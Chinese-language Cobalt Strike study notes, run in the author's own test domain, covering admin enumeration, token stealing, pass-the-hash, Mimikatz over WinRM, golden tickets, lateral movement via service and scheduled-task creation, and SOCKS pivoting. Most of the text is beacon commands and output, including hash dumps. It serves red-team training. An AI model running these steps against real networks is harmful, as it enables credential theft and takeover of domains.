# Untitled

## 16、用户枚举三个关键步骤

### 0x00 前言

用户枚举的三个关键步骤：

1、当前账号是否为管理员账号？

2、哪些账号是域管理员账号？

3、哪个账号是这个系统上的本地管理员账号？

### 0x01 管理员账号

第一个关键步骤，发现管理员账号。

如果想知道自己是否为管理员账号，可以尝试运行一些只有管理员账号才有权限操作的命令，然后通过返回结果判断是否为管理员。

其中一种方式是尝试列出仅仅只有管理员才能查看的共享列表，比如下面的 `dir \\host\C$` 命令，如果可以看到一个文件列表，那么说明可能拥有本地管理员权限。powershell

```
shell dir \\host\C$
```

```
#管理员账号运行结果
beacon> shell dir \\WIN-P26AK33U871\C$
[*] Tasked beacon to run: dir \\WIN-P26AK33U871\C$
[+] host called home, sent: 55 bytes
[+] received output:
 驱动器 \\WIN-P26AK33U871\C$ 中的卷没有标签。
 卷的序列号是 F269-89A7

 \\WIN-P26AK33U871\C$ 的目录

2020/06/24  09:29    <DIR>          inetpub
2009/07/14  11:20    <DIR>          PerfLogs
2020/07/16  21:24    <DIR>          Program Files
2020/07/16  21:52    <DIR>          Program Files (x86)
2020/07/17  23:00    <DIR>          Users
2020/07/26  00:55    <DIR>          Windows
               0 个文件              0 字节
               6 个目录 28,500,807,680 可用字节
```

```
#一般账号运行结果
beacon> shell dir \\WIN-72A8ERDSF2P\C$
[*] Tasked beacon to run: dir \\WIN-72A8ERDSF2P\C$
[+] host called home, sent: 55 bytes
[+] received output:
拒绝访问。
```

也可以运行其他命令，比如运行下面的 `at` 命令来查看系统上的计划任务列表，如果显示出了任务列表信息，那么可能是本地管理员。（当任务列表没有信息时会返回 “列表是空的” 提示）powershell

```
shell at \\host
```

```
#管理员账号运行结果
beacon> shell at \\WIN-P2AASSD1AF1
[*] Tasked beacon to run: at \\WIN-P2AASSD1AF1
[+] host called home, sent: 51 bytes
[+] received output:
状态 ID     日期                    时间          命令行
-------------------------------------------------------------------------------
        1   今天                    22:30         E:\Install\Thunder\Thunder.exe
```

```
#一般账号运行结果
beacon> shell at \\WIN-72A8ERDSF2P
[*] Tasked beacon to run: at \\WIN-72A8ERDSF2P
[+] host called home, sent: 51 bytes
[+] received output:
拒绝访问。
```

在上一节讲述的 `PowerView` 有很多很好的自动操作来帮助解决这些问题。可以在加载 `PowerView` 后，运行下面的命令，通过 `PowerView` 可以快速找到管理员账号。powershell

```
powershell Find-LocalAdminAccess
```

```
beacon> powershell-import powerview.ps1
[*] Tasked beacon to import: powerview.ps1
[+] host called home, sent: 101224 bytes

beacon> powershell Find-LocalAdminAccess
[*] Tasked beacon to run: Find-LocalAdminAccess
[+] host called home, sent: 329 bytes
[+] received output:
WIN-P26AK33U871.teamssix.com
```

### 0x02 域管理员账号

第二个关键步骤，发现域管理员账号。

#### 列出域管理员

对于发现域管理员账号，可以在共享里使用本地的Windows命令。运行以下两条命令可以用来找出这些“域群组”的成员。powershell

```
net group "enterprise admins" /DOMAIN
net group "domain admins" /DOMAIN
```

```
beacon> shell net group "enterprise admins" /domain
[*] Tasked beacon to run: net group "enterprise admins" /domain
[+] host called home, sent: 68 bytes
[+] received output:
组名     Enterprise Admins
注释     企业的指定系统管理员
成员
-------------------------------------------------------------------------------
Administrator            
命令成功完成。
```

```
beacon> shell net group "domain admins" /domain
[*] Tasked beacon to run: net group "domain admins" /domain
[+] host called home, sent: 64 bytes
[+] received output:
组名     Domain Admins
注释     指定的域管理员
成员
-------------------------------------------------------------------------------
Administrator            
命令成功完成。
```

或者运行下面的命令来看谁是域控制器上的管理员powershell

```
net localgroup "administrators" /DOMAIN
```

```
beacon> shell net localgroup "administrators" /domain
[*] Tasked beacon to run: net localgroup "administrators" /domain
[+] host called home, sent: 70 bytes
[+] received output:
别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
administrator
Domain Admins
Daniel
Enterprise Admins
命令成功完成。
```

#### net 模块

beacon 的 net 模块也可以帮助我们，下面的命令中 `TARGET` 的意思是一个域控制器或者是任何想查看的组名，比如企业管理员、域管理员等等powershell

```
net group \\TARGET group name
```

也可以运行下面的命令，这会连接任意目标来获取列表powershell

```
net localgroup \\TARGET group name
```

### 0x03 本地管理员

#### net 模块

本地管理员可能是一个域账户，因此如果想把一个系统作为目标，应该找到谁是这个系统的本地管理员，因为如果获得了它的密码哈希值或者凭据就可以伪装成那个用户。

beacon 的 net 模块可以在系统上从一个没有特权的关联中查询本地组和用户。

在 beacon 控制台中运行下面命令可以获得一个目标上的群组列表

```
net localgroup \\TARGET
```

如果想获取群组的列表，可运行下面的命令来获得一个群组成员的名单列表。

```
net localgroup \\TARGET group name
```

```
beacon> net localgroup \\WIN-P26AK33U871 administrators
[*] Tasked beacon to run net localgroup administrators on WIN-P26AK33U871
[+] host called home, sent: 104510 bytes
[+] received output:
Members of administrators on \\WIN-P26AK33U871:
TEAMSSIX\Administrator
TEAMSSIX\Daniel
TEAMSSIX\Enterprise Admins
TEAMSSIX\Domain Admins
```

#### PowerView 模块

PowerView 使用下面的命令能够在一个主机上找到本地管理员，这条命令实际上通过管理员群组找到同样的群组并且把成员名单返回出来。powershell

```
Get-Netlocalgroup -hostname TARGET
```

powershell

```
beacon> powershell Get-Netlocalgroup -Hostname WIN-P26AK33U871
[*] Tasked beacon to run: Get-Netlocalgroup -Hostname WIN-P26AK33U871
[+] host called home, sent: 385 bytes
[+] received output:

ComputerName : WIN-P26AK33U871
AccountName  : teamssix.com/Administrator
IsDomain     : True
IsGroup      : False
SID          : S-1-5-22-3301978333-983314215-684642015-500
Description  : 
Disabled     : 
LastLogin    : 2020/8/17 22:21:23
PwdLastSet   : 
PwdExpired   : 
UserFlags    : 

ComputerName : WIN-P26AK33U871
AccountName  : teamssix.com/Daniel
……内容过多，余下部分省略……
```

### 0x04 无需恶意软件

如果一个系统信任我们为本地管理员权限，那么我们可以在那个系统上干什么呢？

#### 1、查看共享文件

比如我们可以通过运行下面的命令来列出 C:\foo 的共享文件

```
shell dir \\host\C$\foo
```

```
beacon> shell dir \\WIN-P2AASSD1AF1\C$
[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes
[+] received output:
 驱动器 \\WIN-P2AASSD1AF1\C$ 中的卷没有标签。
 卷的序列号是 F269-89A7
 \\WIN-P2AASSD1AF1\C$ 的目录
2020/06/24  09:29    <DIR>          inetpub
2009/07/14  11:20    <DIR>          PerfLogs
2020/07/16  21:24    <DIR>          Program Files
2020/07/16  21:52    <DIR>          Program Files (x86)
2020/07/17  23:00    <DIR>          Users
2020/07/26  00:55    <DIR>          Windows
               0 个文件              0 字节
               6 个目录 28,500,393,984 可用字节
```

#### 2、复制文件

比如运行下面的命令将 `secrets.txt`文件复制到当前目录。

```
shell copy \\host\C$\foo\secrets.txt
```

```
beacon> shell copy \\WIN-P2AASSD1AF1\C$\foo\secrets.txt
[*] Tasked beacon to run: copy \\WIN-P2AASSD1AF1\C$\foo\secrets.txt
[+] host called home, sent: 93 bytes
[+] received output:
已复制         1 个文件。
```

#### 3、查看文件列表

比如运行下面的命令。其中 /S 表示列出指定目录及子目录所有文件，/B 表示使用空格式，即没有标题或摘要信息。powershell

```
shell dir /S /B \\host\C$
```

```
beacon> shell dir /S /B \\WIN-P2AASSD1AF1\C$\Users
[*] Tasked beacon to run: dir /S /B \\WIN-P2AASSD1AF1\C$\Users
[+] host called home, sent: 67 bytes
[+] received output:
\\WIN-P2AASSD1AF1\C$\Users\administrator
\\WIN-P2AASSD1AF1\C$\Users\Classic .NET AppPool
\\WIN-P2AASSD1AF1\C$\Users\Daniel
\\WIN-P2AASSD1AF1\C$\Users\Public
\\WIN-P2AASSD1AF1\C$\Users\administrator\Contacts
\\WIN-P2AASSD1AF1\C$\Users\administrator\Desktop
\\WIN-P2AASSD1AF1\C$\Users\administrator\Documents
\\WIN-P2AASSD1AF1\C$\Users\administrator\Downloads
\\WIN-P2AASSD1AF1\C$\Users\administrator\Favorites
……内容过多，余下部分省略……
```

#### 4、使用 WinRM 运行命令

WinRM 运行在 5985 端口上，WinRM 是 Windows 远程管服务，使用 WinRM 可以使远程管理更容易一些。

如果想利用 WinRM 运行命令则可以使用下面的命令。powershell

```
powershell Invoke-Command -ComputerName TARGET -ScriptBlock {command here}
```

```
beacon> powershell Invoke-Command -ComputerName WIN-P2AASSD1AF1 -ScriptBlock { net localgroup administrators}
[*] Tasked beacon to run: Invoke-Command -ComputerName WIN-P2AASSD1AF1 -ScriptBlock { net localgroup administrators}
[+] host called home, sent: 303 bytes
[+] received output:
别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
Administrator
Domain Admins
Daniel
Enterprise Admins
命令成功完成。
```

注：如果命令运行失败可能是因为 WinRM 配置原因，可在 powershell 环境下运行 `winrm quickconfig`命令，输入 `y` 回车即可。

命令运行后的结果，WinRM 也将通过命令行进行显示，因此可以使用 Powershell 的 Invoke 命令来作为远程工具，而不使用其他的恶意软件来控制系统。

#### 5、通过 WinRM 运行 Mimikatz

更进一步，甚至可以使用 PowerSploit 来通过 WinRM 运行 Mimikatz，只需要先导入 Invoke-Mimikatz.ps1 文件，再执行以下命令即可。powershell

```
powershell-import /path/to/Invoke-Mimikatz.ps1
powershell Invoke-Mimikatz -ComputerName TARGET
```

> 注：之前提了很多次的 PowerView 也是 PowerSploit 项目里众多 ps1 文件之一，Mimikatz 的 ps1 文件在 PowerSploit 项目的 Exfiltration 目录下，PowerSploit 项目下载地址：<https://github.com/PowerShellMafia/PowerSploit/>

因为 beacon 上传文件大小限制在1MB，而 Invoke-Mimikatz.ps1 文件大小在 2 MB 多，因此直接运行 `powershell-import` 导入该文件会报错，这里可以选择使用 beacon 中的 upload 命令或者在当前会话的 File Browser 图形界面中上传该文件。

```
upload C:\path\Invoke-Mimikatz.ps1
```

上传之后通过 dir 命令可以查看到文件被上传到了C盘下，之后可以运行以下命令来导入该文件。

```
powershell import-module C:\Invoke-Mimikatz.ps1
```

最后再运行以下命令就能通过 WinRM 执行 Mimikatz 了。

```
powershell Invoke-Mimikatz -ComputerName TARGET
```

如果提示`无法将“Invoke-Mimikatz”项识别为 cmdlet、函数……`，则可以将两条命令以分号合并在一起运行，即：

```
powershell import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName TARGET
```

```
beacon> powershell import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName WIN-P2AASSD1AF1
[*] Tasked beacon to run: import-module C:\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -ComputerName WIN-P2AASSD1AF1
[+] host called home, sent: 287 bytes
[+] received output:

  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 314628 (00000000:0004cd04)
Session           : Interactive from 1
User Name         : administrator
Domain            : TEAMSSIX
Logon Server      : WIN-P2AASSD1AF1
Logon Time        : 2020/8/20 23:53:08
SID               : S-1-5-22-3301978333-983314215-684642015-500
	msv :	
	 [00000003] Primary
	 * Username : Administrator
……内容过多，余下部分省略……
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidbF_GMpifNYB-XDJV%2F-MidcU2iXWJoBw25m80c%2Fimage.png?alt=media\&token=d00f63dd-5a98-4a5b-a11a-ad9b56401878)

终于把碰到的坑都填完了，睡觉……

## 17、登陆验证的难点

### 0x00 前言

如果当前账号权限被系统认为是本地管理员权限，那么就可以执行很多管理员才能做的事，接下来就来看一下这样的一个过程是如何工作的，其中会涉及到以下要点：

1、`Access Token` 登录令牌

2、`Credentials` 凭证

3、`Password Hashes` 密码哈希

4、`Kerberos Tickets` 登录凭据

### 0x01 登录令牌

* 登录令牌在登录之后被创建
* 与每个进程和线程相关联
* 包括：
  * 用户和用户组的信息
  * 本地计算机上的特权列表
  * 限制（删除用户和用户组的权限）
  * 参考凭证（支持单点登录）
* 一直保存在内存中，直到系统重启

**以下是令牌窃取的过程：**

* 使用 `ps` 列出进程
* 使用 `steal_token [pid]` 窃取令牌
* 使用 `getuid` 找到你是谁
* 使用 `rev2self` 移除令牌

接下来将对这些命令进行演示，目前有一个 SYSTEM 权限的会话，该会话在 WIN-72A8ERDSF2P 主机下，此时想查看 WIN-P2AASSD1AF1 主机下的文件（WIN-P2AASSD1AF1 主机是 TEAMSSIX 域的域控制器），那么直接运行 dir 会提示拒绝访问。

```
beacon> shell dir \\WIN-P2AASSD1AF1\C$
[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes
[+] received output:
拒绝访问。
```

此时，先用 `ps` 查看一下当前系统进程信息。

```
beacon> ps
[*] Tasked beacon to list processes
[+] host called home, sent: 12 bytes
[*] Process List
 PID   PPID  Name                         Arch  Session     User
 ---   ----  ----                         ----  -------     -----
 0     0     [System Process]                               
 4     0     System                       x64   0           NT AUTHORITY\SYSTEM
……内容太多，此处省略……
 3720  524   taskhost.exe                 x64   2           WIN-75F8PRJM4TP\Administrator
 4092  236   dwm.exe                      x64   3           TEAMSSIX\Administrator
```

通过进程信息可以发现 TEAMSSIX 域下的管理员账户此时在当前 SYSTEM 会话的主机上是登录着的，使用 `steal_token [pid]` 命令窃取 TEAMSSIX\Administrator 账户的令牌

```
beacon> steal_token 4092
[*] Tasked beacon to steal token from PID 4092
[+] host called home, sent: 12 bytes
[+] Impersonated TEAMSSIX\administrator
```

查看一下当前会话 uid

```
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are TEAMSSIX\administrator (admin)
```

再次尝试获取域控制器主机下的文件

```
beacon> shell dir \\WIN-P2AASSD1AF1\C$
[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes
[+] received output:
 驱动器 \\WIN-P2AASSD1AF1\C$ 中的卷没有标签。
 卷的序列号是 F269-89A7
 \\WIN-P2AASSD1AF1\C$ 的目录
2020/07/16  21:24    <DIR>          Program Files
2020/07/16  21:52    <DIR>          Program Files (x86)
2020/07/17  23:00    <DIR>          Users
2020/07/26  00:55    <DIR>          Windows
               0 个文件      0 字节
               4 个目录 28,493,299,712 可用字节
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidbF_GMpifNYB-XDJV%2F-MiddMbFvvXVODDQkhfA%2Fimage.png?alt=media\&token=a3512111-8210-4ba7-9bc7-9dddb5e6f845)

发现可以成功访问了，使用 `rev2self` 可移除当前窃取的令牌

```
beacon> rev2self
[*] Tasked beacon to revert token
[+] host called home, sent: 8 bytes
```

再次查看 uid 发现变成了原来的 SYSTEM 权限，此时 WIN-P2AASSD1AF1 主机上的文件也拒绝访问了。

```
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> shell dir \\WIN-P2AASSD1AF1\C$
[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes
[+] received output:
拒绝访问。
```

### 0x02 凭证

1、使用 make\_token 创建一个令牌

```
make_token DOMAIN\user password
```

在运行命令之前，需要知道要获取令牌用户的密码，这里可以使用 mimikatz 进行获取，具体的方法可参考[《CS学习笔记 | 14、powerup提权的方法》](https://teamssix.com/year/200419-150600.html)这一节中的介绍。

这里还是和上文一样的环境，在一个 SYSTEM 会话下，获取 TEAMSSIX\administrator 账号令牌，使用 mimikatz 可以得知 TEAMSSIX\administrator 账号密码为 Test111!，接下来使用 `make_token` 命令。

```
beacon> make_token TEAMSSIX\administrator Test111!
[*] Tasked beacon to create a token for TEAMSSIX\administrator
[+] host called home, sent: 53 bytes
[+] Impersonated NT AUTHORITY\SYSTEM

beacon> shell dir \\WIN-P2AASSD1AF1\C$
[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes
[+] received output:
 驱动器 \\WIN-P2AASSD1AF1\C$ 中的卷没有标签。
 卷的序列号是 F269-89A7
 \\WIN-P2AASSD1AF1\C$ 的目录
2020/07/16  21:24    <DIR>          Program Files
2020/07/16  21:52    <DIR>          Program Files (x86)
2020/07/17  23:00    <DIR>          Users
2020/07/26  00:55    <DIR>          Windows
               0 个文件      0 字节
               4 个目录 28,493,299,712 可用字节
               
beacon> powershell Invoke-Command -computer WIN-P2AASSD1AF1 -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WIN-P2AASSD1AF1 -ScriptBlock {whoami}
[+] host called home, sent: 231 bytes
[+] received output:
teamssix\administrator
```

当密码输入错误时，执行上面的两个命令就会提示 `登录失败: 未知的用户名或错误密码。` 同样的使用 `rev2self` 可除去当前令牌，恢复原来的 SYSTEM 权限。

2、使用 spawn beacon 替代凭证

```
spawnas DOMAIN\user password
```

3、在目标上建立账户

```
net use \\host\C$/USER:DOMAIN\user password
```

这两种方法，在之前的笔记中都或多或少的提及过，这里不再过多赘述。

### 0x03 密码哈希

使用 mimikatz 获取密码哈希

```
pth DOMAIN\user ntlmhash
```

如何工作的？

1、mimikatz 使用登录令牌开启了一个进程，在单点登录信息那里填入我们提供的用户名称、域、密码哈希值

2、cobalt strike 自动的从那个进程中窃取令牌并关闭<br>

## 18、密码哈希散列设置信任

### 0x00 前言

继续上一节密码哈希的部分，在上一节中讲到了使用密码生成用户的令牌，从而取得系统的信任，这一节将介绍使用密码的哈希值来取得系统的信任。

### 0x01 密码哈希

首先使用 `hashdump` 获取用户的密码哈希值，这里的 beacon 会话为 SYSTEM 权限。

```
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Daniel:1000:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
TeamsSix:1002:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
```

使用 `pth` 获取信任

```
beacon> pth TEAMSSIX\Administrator 12cb161bvca930994x00cbc0aczf06d1
[+] host called home, sent: 23 bytes
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:TEAMSSIX /ntlm:12cb161bvca930994x00cbc0aczf06d1 /run:"%COMSPEC% /c echo ade660d8dce > \\.\pipe\8d3e4c" command
[+] host called home, sent: 750600 bytes
[+] host called home, sent: 71 bytes
[+] Impersonated NT AUTHORITY\SYSTEM
[+] received output:
user	: Administrator
domain	: TEAMSSIX
program	: C:\Windows\system32\cmd.exe /c echo ade660d8dce > \\.\pipe\8d3e4c
impers.	: no
NTLM	: 12cb161bvca930994x00cbc0aczf06d1
  |  PID  2992
  |  TID  5028
  |  LSA Process is now R/W
  |  LUID 0 ; 14812112 (00000000:00e203d0)
  \_ msv1_0   - data copy @ 0000000001794E80 : OK !
  \_ kerberos - data copy @ 000000000044A188
   \_ aes256_hmac       -> null             
   \_ aes128_hmac       -> null             
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 00000000017DA1E8 (16) -> null

beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 231 bytes
[+] received output:
teamssix\administrator
```

### 0x02 Kerberos 票据

关于 Kerberos 的介绍可以查看知乎上的一篇文章，比较形象生动，文章地址： <https://www.zhihu.com/question/22177404>

查看有哪些 Kerberos 票据

```
shell klist
```

除去 kerberos 票据

```
kerberos_ticket_purge
```

加载 kerberos 票据

```
kerberos_ticket_use [/path/to/file.ticket]
```

### 0x03 黄金票据

黄金票据 `Golden Ticket` 是 KRBTGT 帐户的 Kerberos 身份验证令牌，KRBTGT 帐户是一个特殊的隐藏帐户，用于加密 DC 的所有身份验证令牌。然后黄金票据可以使用哈希传递技术登录到任何帐户，从而使攻击者可以在网络内部不受注意地移动。

**使用 mimikatz 伪造黄金票据需要：**

**1、目标的用户名及域名**

**2、域的 SID 值**

域的 SID 值即安全标识符 `Security Identifiers`，使用 `whoami /user` 命令可查看，注意不需要 SID 最后的一组数字。

```
beacon> shell whoami /user
[*] Tasked beacon to run: whoami /user
[+] host called home, sent: 43 bytes
[+] received output:

用户信息
----------------

用户名        SID                                         
============= ============================================
teamssix\daniel S-1-5-21-5311978431-183514165-284342044-1000
```

因为不需要 SID 最后一组数字，所以这里要使用的 SID 也就是 `S-1-5-21-5311978431-183514165-284342044`

**3、DC 中 KRBTGT 用户的 NTLM 哈希**

DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得，下面的 hashdump 命令在域控制器的 SYSTEM 权限会话下运行。

```
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aca3b435b5z404eeaad3f435b51404he:z1f8417a00az34scwb0dc15x66z43bg1:::
daniel:1108:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
```

Cobalt Strike 在 `Access -> Golden Ticket` 中可以打开生成黄金票据的界面。\ <br>

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidbF_GMpifNYB-XDJV%2F-MideBJgrSNG7t-mQkyt%2Fimage.png?alt=media\&token=fa710d4e-c268-4456-a74f-70962640566a)

信息填完之后，选择 Build，需要注意 Domain 需要填写成 FQDN 格式，即完全合格域名 `Fully Qualified Domain Name` ，也就是类似于 `teamssix.com` 的格式。

此时可以通过 `shell dir \\host\C$` 检查自己是否有权限，也可以使用 PowerShell 运行 whoami 查看自己是谁。

```
beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 203 bytes
[+] received output:
teamssix\administrator
```

<br>

## 19、代码执行的方式

### 0x00 前言

实现代码执行的四个步骤：

1、与目标建立信任关系

2、复制可执行文件到目标上

3、在目标上运行可执行文件

4、实现对目标的控制

以上是根据视频教程中直译的结果，个人感觉其实这一节叫`横向移动的方法`更为合适。

### 0x01 创建可执行文件

创建可执行文件可以在 Cobalt Strike 的 `Attack -> Packages -> Windows Executable(s)` 处进行创建。<br>

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidbF_GMpifNYB-XDJV%2F-MideQ01n4ovglTJ-SMg%2Fimage.png?alt=media\&token=18912718-3319-4fc8-83a1-2e7b25abd2fe)

如果用于内网中的横向移动，那么强烈建议使用 SMB Beacon，SMB Beacon 就是为了内网横向扩展渗透而设计的。

### 0x02 上传可执行文件

首先使用 Cobalt Strike 上的 `upload` 功能上传文件，接着复制文件到目标主机的其他位置。

```
shell copy file.exe \\host\C$\Windows\Temp
```

```
beacon> upload /root/beacon.exe
[*] Tasked beacon to upload /root/Desktop/beacon.exe as beacon.exe
[+] host called home, sent: 289302 bytes

beacon> shell copy beacon.exe \\WinTest\C$\Windows\Temp
[*] Tasked beacon to run: copy beacon.exe \\WinTest\C$\Windows\Temp
[+] host called home, sent: 72 bytes
[+] received output:
已复制         1 个文件。
```

### 0x03 执行文件（方法一）

1、生成 Windows Service EXE 并上传

2、在目标主机上创建一个服务

```
shell sc \\host create name binpath= c:\windows\temp\file.exe
```

```
beacon> shell sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[*] Tasked beacon to run: sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[+] host called home, sent: 93 bytes
[+] received output:
[SC] CreateService 成功
```

> 注：记住 binpath 路径

3、在目标主机上启动服务

```
shell sc \\host start name
```

```
beacon> shell sc \\wintest start beacon
[*] Tasked beacon to run: sc \\wintest start beacon
[+] host called home, sent: 56 bytes
[+] received output:
SERVICE_NAME: beacon 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 2  START_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 3816
        FLAGS              : 
        
beacon> link wintest
[*] Tasked to link to \\wintest\pipe\msagent_da00
[+] host called home, sent: 36 bytes
[+] established link to child beacon: 192.168.175.130
```

4、清除痕迹与服务

```
shell sc \\host delete name
```

```
beacon> shell del beacon.exe
[*] Tasked beacon to run: del beacon.exe
[+] host called home, sent: 57 bytes

beacon> shell del \\wintest\C$\windows\temp\beacon.exe
[*] Tasked beacon to run: del \\wintest\C$\windows\temp\beacon.exe
[+] host called home, sent: 83 bytes

beacon> shell sc \\wintest delete beacon
[*] Tasked beacon to run: sc \\wintest delete beacon
[+] host called home, sent: 69 bytes
[+] received output:
[SC] DeleteService 成功
```

### 0x04 执行文件（方法二）

1、生成 Windows EXE 并上传，注意这里生成的 EXE 和`方法一`生成的 EXE 是不一样的类型，这里生成的是 `Windows EXE`，不是方法一中的`Windows Service EXE`

2、找到目标系统上的时间

```
shell net time \\host
```

```
beacon> shell net time \\windc
[*] Tasked beacon to run: net time \\windc
[+] host called home, sent: 49 bytes
[+] received output:
\\windc 的当前时间是 2020/8/30 14:54:09
命令成功完成。
```

3、创建一个计划任务

```
shell at \\host HH:mm C:\path\to\bad.exe
```

```
beacon> shell at \\windc 15:00 C:\windows\temp\beacon.exe
[*] Tasked beacon to run: at \\windc 15:00 C:\windows\temp\beacon.exe
[+] host called home, sent: 76 bytes
[+] received output:
新加了一项作业，其作业 ID = 1
```

4、当计划任务被执行时，执行 link hostname 即可上线主机

```
beacon> link windc
[*] Tasked to link to \\windc\pipe\msagent_d76a
[+] host called home, sent: 34 bytes
[+] established link to child beacon: 192.168.175.144
```

### 0x05 beacon 的自动操作

前面说的两种执行文件的方法都需要往磁盘里上传文件，如果不想往磁盘中上传文件，也可以使用 beacon 的自动操作。

* 使用一个服务运行可执行文件

```
psexec [target] [share] [listener]
```

* 使用一个服务运行 Powershell 单行程序

```
psexec_psh [target] [listener]
```

* 通过 WinRM 运行 Powershell 单行程序

```
winrm [target] [listener]
```

* 通过 WMI 运行 Powershell 单行程序

```
wmi [target] [listener]
```

在 Cobalt Strike 的 `viwe --> Targets` 下，右击主机选择 `Jump` 也可以通过图形化的方式进行上述操作，这样也使得横向移动更加的简单。

接下来进行一下演示，目前手中有一个普通机器的管理员会话，我们先在这台机器上运行 `net view` 查看一下当前域环境中的主机信息。

```
beacon> net view
[*] Tasked beacon to run net view
[+] host called home, sent: 104504 bytes
[+] received output:
List of hosts:
[+] received output:
 Server Name             IP Address                       Platform  Version  Type   Comment
 -----------             ----------                       --------  -------  ----   -------            
 WINDC                   192.168.175.144                  500       6.1      PDC    
 WINTEST                 192.168.175.130                  500       6.1         
```

因为是自己本地搭建的测试环境，所以主机很少，可以看到当前域中有两台机器，再利用 PowerView 查找一下具有本地管理员访问权限的用户

```
beacon> powershell-import PowerView.ps1
[*] Tasked beacon to import: PowerView.ps1
[+] host called home, sent: 101224 bytes

beacon> powershell Find-LocalAdminAccess
[*] Tasked beacon to run: Find-LocalAdminAccess
[+] host called home, sent: 329 bytes
[+] received output:
WinDC.teamssix.com
```

接下来在 WinDC 上运行 psexec，因为这里是 64 位的，所以选择 psexec64，之后监听选择一个 smb beacon，会话就选择已经上线的 wintest 主机的会话，并勾选使用当前会话的访问令牌。

这里笔者认为应该是因为当前在 wintest 主机上有 windc 的管理员账户登录着，所以使用 wintest 的访问令牌是可以获取 windc 的信任的，类似于 [CS 学习笔记 17 节](https://teamssix.com/year/200419-150622.html)里的描述方法，如有不正确之处，还请多多指教。<br>

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidbF_GMpifNYB-XDJV%2F-MidesiD5qM9EW7TQncV%2Fimage.png?alt=media\&token=bd71a193-acab-415b-9670-394c6b46e4f0)

之后，windc 主机就上线了，域中如果还有其他主机，也可以使用这种方法去横向移动。

## 20、通过Socks转发的方法

### 0x00 前言

这一小节中，将看看如何构建一个 SOCKS 代理服务器使一个上线主机变成我们的跳板机。

### 0x01 Pivoting

> 根据 A-Team 团队中 CS 手册中的介绍，`Pivoting` 是指 `将一个受害机器转为其他攻击和工具的跳板` 的操作。

在进行 Pivoting 操作之前，需要将当前会话改为交互模式，也就是说输入命令就被执行，执行 `sleep 0` 即为交互模式。

### 0x02 Socks

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MidbF_GMpifNYB-XDJV%2F-MidfEofFMif8LtBnU3C%2Fimage.png?alt=media\&token=910d2945-37aa-4438-98be-66f984cb22b4)

